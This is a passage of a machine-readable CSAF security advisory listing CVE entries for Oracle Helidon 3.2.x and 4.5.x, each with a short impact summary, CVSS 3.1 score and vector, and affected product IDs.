"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-71161.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-71161"
},
{
"cve": "CVE-2026-71162",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated network attackers via HTTP to potentially access or modify critical data, rated with a CVSS 3.1 base score of 6.5 indicating moderate severity.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-71162 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-71162.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-71162"
},
{
"cve": "CVE-2026-71164",
"notes": [
{
"category": "description",
"text": "A critical unauthenticated remote code execution vulnerability in Oracle Fusion Middleware\u0027s Helidon 3.2.18 with a CVSS 3.1 score of 9.8 allows full system compromise via HTTP, severely impacting confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-71164 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-71164.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-71164"
},
{
"cve": "CVE-2026-71165",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows a low-privileged attacker with HTTP network access to gain unauthorized read and write access to certain Helidon data, rated with a CVSS 3.1 base score of 5.4.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-71165 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-71165.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-71165"
},
{
"cve": "CVE-2026-71166",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated remote attackers to gain unauthorized access, modify or delete data, and cause partial denial of service, with a CVSS 3.1 score of 9.4.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-71166 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-71166.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.4,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-71166"
},
{
"cve": "CVE-2026-71167",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated remote attackers to gain unauthorized access, modify or delete data, and cause partial denial of service, with a CVSS 3.1 score of 9.4.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-71167 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-71167.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.4,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-71167"
},
{
"cve": "CVE-2026-73865",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated remote attackers to create, delete, or modify critical data via HTTP, with a CVSS 3.1 base score of 9.1 indicating severe confidentiality and integrity impact.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73865 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73865.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.1,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73865"
},
{
"cve": "CVE-2026-73866",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated remote attackers to create, delete, or modify all Helidon data via HTTP, with a CVSS 3.1 base score of 9.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73866 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73866.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.1,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73866"
},
{
"cve": "CVE-2026-73867",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated attackers with HTTP network access to perform unauthorized read and write operations on accessible data, rated with a CVSS 3.1 base score of 6.5.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73867 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73867.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73867"
},
{
"cve": "CVE-2026-73868",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated network attackers to gain unauthorized read and write access to Helidon data, with a CVSS 3.1 base score of 6.5 indicating moderate confidentiality and integrity impact.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73868 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73868.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73868"
},
{
"cve": "CVE-2026-73869",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated network attackers via HTTP to perform unauthorized data reads and modifications, with a CVSS 3.1 base score of 6.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73869 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73869.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 6.1,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73869"
},
{
"cve": "CVE-2026-73870",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated network attackers to exploit it via HTTP, potentially leading to unauthorized data access and modification, with a CVSS 3.1 base score of 6.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73870 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73870.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 6.1,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73870"
},
{
"cve": "CVE-2026-73871",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated attackers with HTTP network access to gain unauthorized read access to certain data, rated with a CVSS 3.1 base score of 5.3.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73871 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73871.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73871"
},
{
"cve": "CVE-2026-73872",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated attackers with HTTP network access to gain unauthorized read access to certain data, rated with a CVSS 3.1 base score of 5.3.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73872 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73872.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73872"
},
{
"cve": "CVE-2026-73873",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows a low-privileged attacker with HTTP network access to perform unauthorized read and write operations, rated with a CVSS 3.1 base score of 4.2.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73873 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73873.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 4.2,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73873"
},
{
"cve": "CVE-2026-73874",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows a low-privileged attacker with HTTP network access to gain unauthorized read and write access to certain Helidon data, rated with a CVSS 3.1 base score of 5.4.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73874 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73874.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73874"
},
{
"cve": "CVE-2026-73875",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 3.2.19 allows unauthenticated attackers to exploit HTTP access for unauthorized data reading and modification, with a CVSS 3.1 base score of 7.2.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73875 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73875.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.2,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73875"
},
{
"cve": "CVE-2026-73876",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Fusion Middleware Helidon 4.5.1 allows unauthenticated remote attackers to perform unauthorized data manipulation via HTTP, with a CVSS 3.1 base score of 7.2.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73876 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73876.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.2,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73876"
},
{
"cve": "CVE-2026-73877",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated attackers with HTTP network access to gain unauthorized read access to certain data, rated with a CVSS 3.1 base score of 5.3.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73877 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73877.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73877"
},
{
"cve": "CVE-2026-73878",
"notes": [
{
"category": "description",
